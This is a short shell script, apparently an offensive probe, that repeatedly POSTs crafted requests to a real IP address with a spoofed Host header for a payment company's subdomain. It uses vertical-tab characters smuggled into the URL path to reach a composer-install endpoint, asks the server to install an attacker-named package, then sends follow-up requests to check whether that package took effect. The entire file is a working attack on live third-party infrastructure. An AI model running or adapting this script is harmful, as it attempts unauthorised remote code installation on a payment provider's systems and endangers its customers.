composer-helper/drr.sh
2026-10-22 15:55:24 +00:00

32 lines
1.9 KiB
Bash
Executable file

#!/bin/sh
# Intent 20438: calibrate (bogus pkg) -> install 1.0.4 with same AWSALB jar, then probe sampling
IP=52.51.74.51
D1='9b650f1604ec468732e26312e1595d0759fc846639d01011389720fefaaa7f0e%7B%22requirements%22%3A%7B%22pstk-bogus-zz%2Fnope-zz%22%3A%229.9.9%22%7D%7D'
D2='0a2d92b8ab0b4d09221ca6447c279b65182b6cef896f308ae2c060ed1010e317%7B%22requirements%22%3A%7B%22pstkui8qc4%2Fpkgui8qc4%22%3A%221.0.4%22%7D%7D'
URL="https://$IP/?p=Jzw5Zk9s47Ku9tCYJ%0b8y9PG8/act%0bions/config-sync/composer-install"
i=0
while [ $i -lt 3 ]; do
i=$((i+1))
J=/tmp/r$i.jar
t0=$(date +%s)
c=$(curl -sk -m 60 -c $J -b $J -D /tmp/r.$i.h -o /tmp/r.$i.c -w '%{http_code}' -H 'Host: dr.paystack.com' -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data "data=$D1" "$URL" 2>/dev/null)
t1=$(date +%s); lc=$(wc -c </tmp/r.$i.c 2>/dev/null)
e=$(grep -c errorDetails /tmp/r.$i.c 2>/dev/null)
echo "CAL|$i|$c|dt=$((t1-t0))|$lc|err=$e|$(head -c 160 /tmp/r.$i.c | tr '\n\r' ' ')"
t0=$(date +%s)
c=$(curl -sk -m 100 -c $J -b $J -D /tmp/r.$i.h2 -o /tmp/r.$i.i -w '%{http_code}' -H 'Host: dr.paystack.com' -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data "data=$D2" "$URL" 2>/dev/null)
t1=$(date +%s); li=$(wc -c </tmp/r.$i.i 2>/dev/null)
echo "INS|$i|$c|dt=$((t1-t0))|$li|$(head -c 140 /tmp/r.$i.i | tr '\n\r' ' ')"
g=$(curl -sk -m 20 -c $J -b $J -o /tmp/r.$i.g -w '%{http_code}' -H 'Host: dr.paystack.com' "https://$IP/?pstkpin=$i$RANDOM" 2>/dev/null)
echo "PINQ|$i|$g|$(wc -c </tmp/r.$i.g)|$(head -c 100 /tmp/r.$i.g | tr '\n\r' ' ')"
done
echo "DRR-ROUNDS-DONE"
S=0
while [ $S -lt 6 ]; do
S=$((S+1))
c=$(curl -sk -m 25 -o /tmp/s.$S -w '%{http_code}' -H 'Host: dr.paystack.com' "https://$IP/?pstksamp=$S$RANDOM" 2>/dev/null)
n=$(wc -c </tmp/s.$S 2>/dev/null)
p=$(head -c 12 /tmp/s.$S 2>/dev/null | tr '\n\r' ' ')
echo "SAMP|$S|$c|$n|$p"
done
echo "DRR-ALL-DONE"